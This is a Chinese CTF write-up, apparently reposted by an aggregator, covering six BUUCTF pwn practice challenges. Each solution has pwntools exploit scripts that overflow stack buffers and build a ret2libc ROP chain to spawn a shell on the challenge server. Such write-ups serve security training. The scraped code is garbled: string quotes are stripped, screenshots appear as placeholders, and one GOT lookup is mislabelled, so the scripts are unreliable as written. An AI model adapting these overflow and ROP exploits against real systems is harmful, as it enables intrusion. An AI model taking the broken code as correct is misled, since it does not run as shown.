buuctf pwn wp---part1

Posted yidianhan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了buuctf pwn wp---part1相关的知识,希望对你有一定的参考价值。

pwn难啊

 

1、test_your_nc

测试你nc,不用说,连上就有。

2、rip

ida中已经包含了system函数:

技术图片

 

 

 技术图片

溢出,覆盖rip为fun函数,peda计算偏移为23:

技术图片
from pwn import *

#context.update(arch = ‘i386‘, os = ‘linux‘, timeout = 1)

p = remote(node3.buuoj.cn,27146)
#p = process(‘./pwn1‘)

flag_addr = 0x401186
payload = 0xf*a +a*8 + p64(flag_addr)

#print p.recv()
p.sendline(payload)
p.interactive()
exp

3、warmup_csaw_2016

ida中,可以看到,存在溢出

技术图片

 

 

 技术图片

 

 

 技术图片

 

 

 使用peda计算偏移为72

技术图片

 

 

技术图片
from pwn import *

#context.update(arch = ‘i386‘, os = ‘linux‘, timeout = 1)

p = remote(node3.buuoj.cn,29050)
#p = process(‘./warmup_csaw_2016‘)

catflag_addr = 0x40060d

payload = A*72 + p64(catflag_addr)

#print p.recv()
p.sendline(payload)

p.interactive()
exp

 

4、pwn1_sctf_2016

先check一下文件

技术图片

 

文件开启了NX。使用ida查看:

技术图片

 

 程序功能:将输入的所有的‘I’转化为you,然后输出“So,[输入]”

在fgets处,对输入的s进行了限制,不能溢出。但是在strcpy函数中,未对s进行限制,v0对输入的I进行变换后:V0长度=I的个数*3。

输入的I的长度最多为32,那么V0最长为32*3=96,远大于3C(60),可以进行溢出,需要3C+4 = 64位 = 21个‘I’ + 1个‘A’

技术图片
from pwn import *

#context.update(arch = ‘i386‘, os = ‘linux‘, timeout = 1)

p = remote(node3.buuoj.cn,29641)
#p = process(‘./pwn1_sctf_2016‘)
#p = remote(‘xxxxx‘,xxxx)

catflag_addr = 0x8048f0d

payload = 21*I +A+ p32(catflag_addr)

#print p.recvuntil(‘yourself:‘)
p.sendline(payload)

p.interactive()
exp

 

 5、ciscn_2019_c_1

先check一下,开启了Nx和Relro

技术图片

 

ida中为找到system函数和‘/bin/sh’等字符,需要利用ROP

技术图片

在encrypt()函数中发现gets函数,这个是一个溢出点

 

 

 技术图片

 

 

可以通过溢出puts函数,泄露出gets函数中的地址,寻找偏移,构造ROP链执行system(‘/bin/sh’)

先cp一份libc文件:

技术图片

 

 技术图片

 

 偏移为:0x50+8

技术图片
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher

libc = ELF(libc.so.6)
elf = ELF(ciscn_2019_c_1)
p = remote(node3.buuoj.cn,28143)
context.log_level = debug
#p=process(‘./ciscn_2019_c_1‘)
def send(content):
    p.recvuntil(Input your choice!
)
    p.sendline(1)
    p.recvuntil(Input your Plaintext to be encrypted
)
    p.sendline(content)

plt_puts = elf.plt[puts]
got_puts = elf.got[gets]
main = elf.symbols[main]
pop_rdi_ret = 0x400c83

payload = A * 0x58 + p64(pop_rdi_ret)+p64(got_puts) + p64(plt_puts) + p64(main)
send(payload)
print p.recv()

p.recvuntil(@
)
puts_addr=u64(p.recvline()[:-1].ljust(8,x00))
libcbase = puts_addr -libc.sym[puts]
log.success(libcbase:+ hex(libcbase))

system_addr = libcbase + libc.sym[system]
binsh_addr = libcbase + 0x1afb84

payload = A*0x58 + p64(pop_rdi_ret) + p64(binsh_addr)+ p64(system_addr)

send(payload)

p.interactive()
exp

 

6、ciscn_2019_n_1

先check一下,开启了NX和RELRO

技术图片

 

 

 查看字符串,能看到,或许是和flag相关

技术图片

 

 

可以看到危险函数gets,存在溢出,可以通过v1覆盖v2的值从而执行system函数获取flag

 技术图片

技术图片

 

 

 

 

通过跟随。可以知道11.28125地址为:0x41348000,偏移为:0x2c

技术图片

 

 

技术图片
from pwn import *

#context.update(arch = ‘i386‘, os = ‘linux‘, timeout = 1)

p = remote(node3.buuoj.cn,26929)
#p = (‘./ciscn_2019_n_1‘)

v2_addr = 0x41348000

payload = 0x2c*a + p64(v2_addr)

print p.recv()
p.sendline(payload)

p.interactive()
exp

 

7、ciscn_2019_en_2

同上5

 

待续。。。。

 

 

 

 

以上是关于buuctf pwn wp---part1的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF-PWN-Writeup-1-5

BUUCTF-PWN-Writeup-1-5

buuctf pwn babyshell wp

buuctf@pwn1_sctf_2016

BUUCTF pwn warmup_csaw2016 wp

BUUCTF-pwn babyrop